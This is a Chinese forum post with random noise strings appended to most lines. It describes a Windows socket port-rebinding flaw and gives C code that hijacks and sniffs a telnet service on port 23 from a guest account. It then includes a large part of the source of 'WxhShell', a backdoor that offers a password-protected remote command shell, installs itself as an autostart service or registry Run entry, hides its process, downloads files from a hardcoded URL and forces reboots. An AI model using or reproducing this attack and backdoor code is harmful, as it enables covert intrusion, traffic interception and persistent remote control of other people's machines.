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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: t CkoYrvT  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); q#.rYzl0  
fp,1qzU[k  
  saddr.sin_family = AF_INET; [f /v LLK  
.QNjeMu.  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 6vMDm0sv  
Z3Bo@`&?  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); (/To?`  
t*eleNYeS~  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 O7! fI'R  
=%:JjgKc*t  
  这意味着什么?意味着可以进行如下的攻击: e=0l<Rj  
k\Yu5)  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ](]*]a4ss  
;L#L Dk{Za  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) zojuH8  
|2WxcW]U.%  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 Q9Q!9B @  
K]*g, s+  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  rE!G,^_{  
Y'3k E  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 v$qpcu#o  
bM*Pcxv  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 Nck!z8  
c _R)P,P  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 6z1aG9G  
v=dKcruR:  
  #include %V@Rk.<  
  #include L#83f]vG  
  #include /h{go]&Nb  
  #include    *>?):-9"6N  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ;LwFbkOuU  
  int main() Vp5V m  
  { \VoB=Ac&  
  WORD wVersionRequested; g}\U, (  
  DWORD ret; ?6_"nT*}  
  WSADATA wsaData; Ah(\%35&  
  BOOL val; n0Qh9*h  
  SOCKADDR_IN saddr; # |[`1  
  SOCKADDR_IN scaddr; U[K0{PbY  
  int err; O('i*o4!}  
  SOCKET s; d=Rk\F'^J  
  SOCKET sc; ?CcR 7l  
  int caddsize; vHZX9LQU0+  
  HANDLE mt; zav*  
  DWORD tid;   TmRrub  
  wVersionRequested = MAKEWORD( 2, 2 ); HV#?6,U}  
  err = WSAStartup( wVersionRequested, &wsaData ); O>)n*OsS  
  if ( err != 0 ) { G2U5[\  
  printf("error!WSAStartup failed!\n"); }I` ku.@5  
  return -1; J)#5 9a  
  } hX{g]KE>  
  saddr.sin_family = AF_INET; +?4*,8Tmmz  
   V{ 4i$'  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 9Bbm7Gd  
+MOe{:/6  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); CuV=C Ay>  
  saddr.sin_port = htons(23); !#cKF6%  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 4OqE.LFu  
  { GU;TK'Yy?  
  printf("error!socket failed!\n"); uFA|r X  
  return -1; *il]$i  
  } Vz=j )[  
  val = TRUE; \N'hbT=  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 R{2GQB  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) es*_Oo1  
  { s>9z+;~!  
  printf("error!setsockopt failed!\n"); %l9WZ*yZ`2  
  return -1; F3H:I"4  
  } #*ZnA,  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; !."%M^J  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ;f\R$u-  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 Sop Ntcu!  
Vsm%h^]d  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) "63zc 1  
  { q\z=z$VR  
  ret=GetLastError(); v4Fnh`{  
  printf("error!bind failed!\n"); Gdc ~Lh  
  return -1; &VZmP5Gv  
  } !h`cXY~ w  
  listen(s,2); &cn%4Er  
  while(1) K~fDv  i  
  { eEg1-  
  caddsize = sizeof(scaddr); \( Gf+  
  //接受连接请求 ],fwZd[t  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); Uy_}@50"l  
  if(sc!=INVALID_SOCKET) LB64W ;#h  
  { W?4&lC^G  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); V5(tf'  
  if(mt==NULL) 5~kW-x  
  { `o^;fcnG  
  printf("Thread Creat Failed!\n"); bH)8UQR%  
  break; T9XW%/n  
  } J1u@A$4l?  
  } y(wqcDok|n  
  CloseHandle(mt); lO5gkOJ?  
  } Y9I #Q  
  closesocket(s); |({UV-`  
  WSACleanup(); b;~EJ  
  return 0; 9$4/frd  
  }   qMW%$L\HA  
  DWORD WINAPI ClientThread(LPVOID lpParam) h Vt+%tmNy  
  { #:Sy`G6!?  
  SOCKET ss = (SOCKET)lpParam; bdsHA2r`s  
  SOCKET sc; tc49Ty9$[  
  unsigned char buf[4096]; j4 &  
  SOCKADDR_IN saddr; c}I8!*\  
  long num; @88z{  
  DWORD val; cQ8$,fo  
  DWORD ret; fjK]m.w  
  //如果是隐藏端口应用的话,可以在此处加一些判断 4LKs'$:A=  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   %RT6~0z  
  saddr.sin_family = AF_INET; J!TK*\a2  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); DbNi;m  
  saddr.sin_port = htons(23); J*q=C%}.  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) nV,{w4t+  
  { R1b )  
  printf("error!socket failed!\n"); 1X!f!0=g+  
  return -1; y uK5r  
  } "DcueU#!  
  val = 100; < 4EB|@E  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) * F%ol;|Q  
  { Kj1#R  
  ret = GetLastError(); D0E"YEo\nv  
  return -1; CrwcYzrRWl  
  } ]`i@~Z h\  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ~XT a=  
  { p *W ZY=Q  
  ret = GetLastError(); @qr3v>3X<  
  return -1; ]9yA0,z/  
  } lo]B 5_en  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) l_q>(FoqA  
  { [:hy  
  printf("error!socket connect failed!\n"); V[M$o  
  closesocket(sc); coP$7Q .  
  closesocket(ss); U~B}vt  
  return -1; =Gg)GSL^  
  } g#KToOP  
  while(1) $e t :  
  { @,>=X:7  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ~|B!. +  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 xf F&$K"  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 X%R^)zKV  
  num = recv(ss,buf,4096,0); Qig!NgOM  
  if(num>0) YV_I-l0  
  send(sc,buf,num,0); />2$ XwP  
  else if(num==0) N mjBJ_G  
  break; ` S~@FX  
  num = recv(sc,buf,4096,0); j}?ZsnqV  
  if(num>0) PuoJw~^h  
  send(ss,buf,num,0); .T$9Q Ar5  
  else if(num==0) VOF:+o@.  
  break; YQ8x6AJ  
  } Gp3t?7S{T  
  closesocket(ss); %_J/&{6G  
  closesocket(sc); e#eO`bT  
  return 0 ; ^N}~U5  
  } 1r:fxZO\Vd  
4uAb LSh9  
g]#zWTw(   
========================================================== 8wx#,Xa  
=iN_Ug+  
下边附上一个代码,,WXhSHELL vJj j+:  
MzW$Sl&:  
========================================================== o? xR[N-J  
bHH}x"d[x  
#include "stdafx.h" WZ V*J&  
.=w`T #L  
#include <stdio.h> Ckl]fy@D}  
#include <string.h> JU2' ~chh  
#include <windows.h> )yH#*~X_   
#include <winsock2.h> I:>d@e/;  
#include <winsvc.h> <x;[ H%  
#include <urlmon.h> 5J2p^$s  
q@"4Rbu6  
#pragma comment (lib, "Ws2_32.lib") "YvBb:Z>  
#pragma comment (lib, "urlmon.lib") G C#95  
_itN.^  
#define MAX_USER   100 // 最大客户端连接数 AJ1$$c  
#define BUF_SOCK   200 // sock buffer m4.V$U,H]  
#define KEY_BUFF   255 // 输入 buffer /s0VyUV=  
89e.\EH  
#define REBOOT     0   // 重启 ;\&bvGj8V  
#define SHUTDOWN   1   // 关机 Dlsa(  
e$+? v2.  
#define DEF_PORT   5000 // 监听端口 $bC!T  
zmS-s\$,  
#define REG_LEN     16   // 注册表键长度 :7;Iy u  
#define SVC_LEN     80   // NT服务名长度 p{#7\+}  
3eDx@8N }  
// 从dll定义API ]{,=mOk  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ~hw4gdtS  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 4a-F4j'  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); e5\1k#@  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);  KNyD}1  
S5 oHe4#89  
// wxhshell配置信息 GKDG5u;  
struct WSCFG { op{(mn  
  int ws_port;         // 监听端口 >0okb3+  
  char ws_passstr[REG_LEN]; // 口令 g wjv&.T6^  
  int ws_autoins;       // 安装标记, 1=yes 0=no )Zr0_b"V:e  
  char ws_regname[REG_LEN]; // 注册表键名 0`Qs=R`OM  
  char ws_svcname[REG_LEN]; // 服务名 /OtQk -E  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 iQR})=Q  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ?#y<^oNM  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 [5#/& k{  
int ws_downexe;       // 下载执行标记, 1=yes 0=no {7szo`U2  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" x@\'@>_GM  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 sOHAW*+  
6Kc7@oO~  
}; /PuWJPy;  
L ]'CA^N  
// default Wxhshell configuration 2%%U)|39mB  
struct WSCFG wscfg={DEF_PORT, "_}D{ws1  
    "xuhuanlingzhe", WC&Ltw8  
    1, ,<WykeC  
    "Wxhshell", lMf5F8  
    "Wxhshell", cG"<*Xi<  
            "WxhShell Service", s-DL=MD  
    "Wrsky Windows CmdShell Service", vK>^#b3  
    "Please Input Your Password: ", q&S.C9W  
  1, Mj;'vm7#'  
  "http://www.wrsky.com/wxhshell.exe", G7{:d  
  "Wxhshell.exe" H~K2`Cr)4  
    }; <NsT[r~C  
l;FgX+)  
// 消息定义模块 R20GjWy=  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; KD*4n'm!>  
char *msg_ws_prompt="\n\r? for help\n\r#>"; bg. KkJMrR  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; {v'Fg  
char *msg_ws_ext="\n\rExit."; /[T8/7;_l  
char *msg_ws_end="\n\rQuit."; 71ybZ 0  
char *msg_ws_boot="\n\rReboot..."; Hx0,kOh)  
char *msg_ws_poff="\n\rShutdown..."; 4T^WRS  
char *msg_ws_down="\n\rSave to "; No|{rYYKK  
3CRBu:)m  
char *msg_ws_err="\n\rErr!"; %NoZf^ ?  
char *msg_ws_ok="\n\rOK!"; cO+`8`kv  
74OM tLL$  
char ExeFile[MAX_PATH]; e;3 (,  
int nUser = 0; ^>28>!"1  
HANDLE handles[MAX_USER]; PKG ,4v=  
int OsIsNt; hiM!htc;M  
>#|Q,hVU5  
SERVICE_STATUS       serviceStatus; R;ug+N  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; IbQ~f+y&2  
Q1B! W  
// 函数声明 pLcng[  
int Install(void); _n gMC]-T  
int Uninstall(void); #-,`4x$m|  
int DownloadFile(char *sURL, SOCKET wsh); $B/cj^3  
int Boot(int flag); e28#Yh@U  
void HideProc(void); uV:;y}T^Z  
int GetOsVer(void); p7tC~]r:L  
int Wxhshell(SOCKET wsl); &zy9}4w,  
void TalkWithClient(void *cs); $ wB  
int CmdShell(SOCKET sock); AVZ@?aJgF  
int StartFromService(void); "MN'%"/  
int StartWxhshell(LPSTR lpCmdLine); Q;M\P/f  
m"}G-#  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); FvP1;E  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); @vh>GiR){  
(8R M|&  
// 数据结构和表定义 /_(Dq8^g@  
SERVICE_TABLE_ENTRY DispatchTable[] = '>$A7  
{ y70gNPuTOD  
{wscfg.ws_svcname, NTServiceMain}, |Ay#0uQ5Y  
{NULL, NULL} [J 3;U6  
}; =@MKU  
SQk!o{  
// 自我安装 "YZ`g}sG  
int Install(void) d(XWt;KK  
{ 96j2D8=w  
  char svExeFile[MAX_PATH]; VG^-aR_F  
  HKEY key; wH<*  
  strcpy(svExeFile,ExeFile); 1vb0G ;a;|  
lEs/_f3;A  
// 如果是win9x系统,修改注册表设为自启动 3!x)LUWfWY  
if(!OsIsNt) { 9-SXu lgu  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { &YMj\KmlSg  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); uuB\~ #?T  
  RegCloseKey(key); hn .fX:}  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { mqw.v$>  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); aQ. \!&U  
  RegCloseKey(key); ha 5\T'  
  return 0; _,Y79 b6  
    } hT#mM*`  
  } P&;I]2#  
} ^Pwq`G A  
else { VGIc|Q=F  
7h~M&\M  
// 如果是NT以上系统,安装为系统服务 VPbNLi  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); )-oNy-YL  
if (schSCManager!=0) %Et]w  
{ Y._AzJ&B[  
  SC_HANDLE schService = CreateService &I=q%  
  ( )M~5F,)  
  schSCManager, oJy/PR 3  
  wscfg.ws_svcname, z_)$g= 9$  
  wscfg.ws_svcdisp, +L6$Xm5DAv  
  SERVICE_ALL_ACCESS, "'L SLp  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , zx*f*L,6F  
  SERVICE_AUTO_START, ?1sY S  
  SERVICE_ERROR_NORMAL, [R$4n-$  
  svExeFile, fBmx +7  
  NULL, 40XI\yE_?  
  NULL, XRkqMq%  
  NULL, Jt"Wtr  
  NULL, C&gJP7UF  
  NULL XJ+sm^`vOf  
  ); 9q?gmAn.  
  if (schService!=0) RB2u1]l  
  { e{=$4F  
  CloseServiceHandle(schService);  o~B=[  
  CloseServiceHandle(schSCManager); dWA7U6c<  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); AXFVsZH"zi  
  strcat(svExeFile,wscfg.ws_svcname); 0OXd*  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { wSDDejg  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 04:Dbt~=?p  
  RegCloseKey(key); 4Ki'r&L\  
  return 0; L<n_}ucA  
    } QB3AL; 7  
  } qI}Zg)q]  
  CloseServiceHandle(schSCManager); -_+0[Nb.  
} ORNE>6J H  
} y-YYDEl  
sQw-#f7t  
return 1; 2Xosj(H  
} 9]iDNa/D  
5:wf"3%%  
// 自我卸载 5VfP@{  
int Uninstall(void) O?_'6T  
{  I g`#U~  
  HKEY key; FB""^IC?W  
G>j/d7  
if(!OsIsNt) { u|E,Wy1  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { d hy=x  
  RegDeleteValue(key,wscfg.ws_regname); +;T%7j"wz  
  RegCloseKey(key); O7W}Z1G  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { RN0Rk 8AC  
  RegDeleteValue(key,wscfg.ws_regname); Oqyh{q%]  
  RegCloseKey(key); +e\u4k{3V  
  return 0; 4b)xW&K{  
  } D c^d$gh  
} 7^1ikmYY  
} [0 $Y@ek[  
else { v-o/zud]]  
9I9)5`d|Jn  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); .|K5b]na  
if (schSCManager!=0) :}lE@Y,R   
{ U1Oq"Ij~  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); |kn}iA@72p  
  if (schService!=0) f' eKX7R  
  { Oe?nX>  
  if(DeleteService(schService)!=0) {  Cfi5r|S  
  CloseServiceHandle(schService); Aq-v3$XL  
  CloseServiceHandle(schSCManager); DE[y&]/C{  
  return 0; ~vgW:]i  
  } *UTk. :G5  
  CloseServiceHandle(schService); xg8<b  
  } cWi2Sls  
  CloseServiceHandle(schSCManager); mEA w^  
} uQDu<@5^[  
} NJ~'`{3v  
0o#lB^e;l  
return 1; 5v]xk?Eb  
} 6 -oQs?  
` H"5nQRV  
// 从指定url下载文件 <rkF2-K,  
int DownloadFile(char *sURL, SOCKET wsh) >U17BGJ.  
{ (HEjmQjE  
  HRESULT hr; >[#4Pb7_Y  
char seps[]= "/"; ?FLjvmE9  
char *token; =y<Fz*aA  
char *file; 8n56rOW!  
char myURL[MAX_PATH]; m+L:\mvA  
char myFILE[MAX_PATH]; ;,<s'5icyg  
B::vOg77  
strcpy(myURL,sURL); TZ/u"' ZS  
  token=strtok(myURL,seps); [wEx jLW  
  while(token!=NULL) 3cnsJV]  
  { - na]P3 s  
    file=token; f~53:;L/  
  token=strtok(NULL,seps); bY`k`3v  
  } E yNCky  
/<n_X:[)  
GetCurrentDirectory(MAX_PATH,myFILE); Fax73vl|^a  
strcat(myFILE, "\\"); u`ZnxD>  
strcat(myFILE, file); =Vi+wH{xM  
  send(wsh,myFILE,strlen(myFILE),0); ?HW*qD#k  
send(wsh,"...",3,0); @+xQj.jNC  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); H;v*/~zl  
  if(hr==S_OK) {5,CW  
return 0; 5EU3BVu&u  
else >yaRz+  
return 1; jWm<!< ~  
 ;HW@ZI  
} A;% fAI2Vr  
'RPe5 vB  
// 系统电源模块 my Po&"_ x  
int Boot(int flag) uQ{M<%K  
{ J^u{7K,  
  HANDLE hToken; H.YntFtD'  
  TOKEN_PRIVILEGES tkp; #e=[W))  
$+Xohtt  
  if(OsIsNt) { 9Gy1T3y5"  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 7,:QFV  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); a^,Xm(Wb}  
    tkp.PrivilegeCount = 1; gG#M-2P  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; LE Y$St  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); |'Jz(dv[  
if(flag==REBOOT) { 4kIy4x'*  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) OH&&d=~  
  return 0; 1vX97n<}  
} FN G]  
else { um[.r,++  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) w|NLK  
  return 0; 3t8VH`!mL{  
} 1%>/%eyn5  
  } -&+[/  
  else { VLRW,lR9O  
if(flag==REBOOT) { Wu:evaZ:i  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) O5E\#*<K  
  return 0; u-8,9  
} tYVmB:l  
else { pJV<#<#Z  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) t1D6#JP(a  
  return 0; emTqbO  
} Qv#]T,  
} BYRf MtT@+  
SI-s:%O  
return 1; B lD  
} ?xIwQd0  
`Os@/S  
// win9x进程隐藏模块 )!3sB{ H  
void HideProc(void) F6yMk%  
{ h/5.>[VwDh  
f`T#=6C4|  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); +dlN^P647  
  if ( hKernel != NULL ) |'.\}xt7  
  { BjSLbw-C  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); QO~!S_FRH  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); h^cM#L^B  
    FreeLibrary(hKernel); m$ "B=b2  
  } \:8 >@Q  
m#ID%[hg$  
return; $vx]\` ^  
} T$!. :v  
d7A vx  
// 获取操作系统版本 (V#5Cs,o:  
int GetOsVer(void) ym^  
{ 4/cUd=>Z  
  OSVERSIONINFO winfo; %R."  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); \Gg6&:Ua  
  GetVersionEx(&winfo); &iez{[O  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) %qNT<>c  
  return 1; Db@$'  
  else kyMWO*>|  
  return 0; \s<L2uRj  
} T=%,^  
4 1q|R[js!  
// 客户端句柄模块 r761vtC#  
int Wxhshell(SOCKET wsl) zW8rC!  
{ bs/Vn'CE  
  SOCKET wsh; 8!sl) R  
  struct sockaddr_in client; JZB7?@h%  
  DWORD myID; (} ?")$.  
F@UbUm2o  
  while(nUser<MAX_USER) wX[g\,?}'  
{ FbhF45H  
  int nSize=sizeof(client); <<4U:  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); $cflF@ 3  
  if(wsh==INVALID_SOCKET) return 1; =)!sWY:  
p%[/ _ -7  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); l]C#bL>i  
if(handles[nUser]==0) P9c!   
  closesocket(wsh); br`cxgZ0"  
else ~qT5F)$B-  
  nUser++;  b"iPuN!p  
  } ;<hLy(@  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); <*oTVl4fS  
lk;4l Z  
  return 0; m7!M stu  
} n3 y`='D  
6fY-D qF!  
// 关闭 socket @Jr:+|v3B  
void CloseIt(SOCKET wsh) MfNsor  
{ W"$sN8K>)  
closesocket(wsh); +VT/ c  
nUser--; C%H{"  
ExitThread(0); )B)e cJJ_  
} X;'H@GU0  
juIi-*R!  
// 客户端请求句柄 OXp(rJ*bK  
void TalkWithClient(void *cs) #q?'<''d,  
{ bf@H(gCW=  
B63puX{u#  
  SOCKET wsh=(SOCKET)cs; PUcxlD/a}  
  char pwd[SVC_LEN]; "Rc Ny~  
  char cmd[KEY_BUFF]; i24t$7q  
char chr[1]; eCFMWFhC  
int i,j; ma TQ 0GX  
>\[/e{Q"  
  while (nUser < MAX_USER) { ;S0Kf{DN2  
JCFiKt9n  
if(wscfg.ws_passstr) { Dk%+|c  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); }l"pxp1K  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Ui|z#{8&  
  //ZeroMemory(pwd,KEY_BUFF); Sq:,6bcG  
      i=0; *be"$ Q  
  while(i<SVC_LEN) { O pavno%&  
? `hA:X<  
  // 设置超时 M47t(9krV  
  fd_set FdRead; Zo`_vx/{j  
  struct timeval TimeOut; ]sLdz^E3D  
  FD_ZERO(&FdRead); [8jIu&tJf  
  FD_SET(wsh,&FdRead); w#}[=jy  
  TimeOut.tv_sec=8; uo`zAKM&A  
  TimeOut.tv_usec=0; " rA-u)Te  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); '9u(9S  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); fQQj2> 3w  
;-kC&GZf  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); D||)H  
  pwd=chr[0]; FdGnNDl*e  
  if(chr[0]==0xd || chr[0]==0xa) { ?mwa6]  
  pwd=0; Y#[xX2z9  
  break; D,\hRQ  
  }  T_)G5a  
  i++; *(E]]8o  
    } )sN}ClgJ  
0uL*-/|  
  // 如果是非法用户,关闭 socket >)^Q p-  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh);  gx9=L&=d  
} g286 P_a`*  
`:.a5  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); t#d{hEr  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 8Wba Hw_  
Uz =OTM  
while(1) { \r1nMw3&  
?[?;%Y  
  ZeroMemory(cmd,KEY_BUFF); ;vG%[f`K  
7y4jk  
      // 自动支持客户端 telnet标准   \&/V p`  
  j=0; l=UXikx  
  while(j<KEY_BUFF) { :lW8f~!  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Zz?)k])F  
  cmd[j]=chr[0];  SwE bVwB  
  if(chr[0]==0xa || chr[0]==0xd) { [[#zB-|  
  cmd[j]=0; r17"i.n  
  break; gz#2}  
  } XFSHl[uS1  
  j++; +I3j 2u8L  
    } i0n u5kD+d  
?t)Mt]("  
  // 下载文件 a(IUAh*mO  
  if(strstr(cmd,"http://")) { XM f>B|  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); LEuDDJ -  
  if(DownloadFile(cmd,wsh)) TXT!Ae  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); dWTc3@xd  
  else jP#I](\eG  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); pz=/A  
  } K;7ea47m N  
  else { .cm9&&"Z  
o-<XR9,N*  
    switch(cmd[0]) { &$bcB]C\3  
  ,Cd4Q7T  
  // 帮助 O1Ynl` }  
  case '?': { }Gva=N:  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); h0] bIT{  
    break; \ [bJ@f*."  
  } mWF\h>]|.  
  // 安装 {8 #  
  case 'i': { GXi)3I%  
    if(Install()) _MW W  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7jw5'`;)"  
    else !i_~<6Wa7  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); %/2OP &1<  
    break; l?A~^4(5a/  
    } []doLt;J  
  // 卸载 s.^+y7$  
  case 'r': { &o]fBdn  
    if(Uninstall()) cJ\ 1ndBH  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); vRb7=fXf  
    else T_[5 ZYy  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [Lcy &+  
    break; VIaj])m  
    } (&-I-#i  
  // 显示 wxhshell 所在路径 eus@;l*  
  case 'p': { K5 EJ#1ov  
    char svExeFile[MAX_PATH]; t>P[Yld"  
    strcpy(svExeFile,"\n\r"); G<P/COI#M5  
      strcat(svExeFile,ExeFile); [0D.+("EW  
        send(wsh,svExeFile,strlen(svExeFile),0); q'9;  
    break; YJ+l \Wb}  
    } Ap~6Vu  
  // 重启 9* P-k.Bl  
  case 'b': { WDI3*  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); p7W9?b9  
    if(Boot(REBOOT)) 0ybMI+*  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); BoXPX2:  
    else { =zR9^k  
    closesocket(wsh); Yyw9IYB;  
    ExitThread(0); _hgGF9  
    } ydMhb367|  
    break; f\FqZ?w  
    } 0v#p4@Z  
  // 关机 O>>/2V9  
  case 'd': { !D!"ftOm  
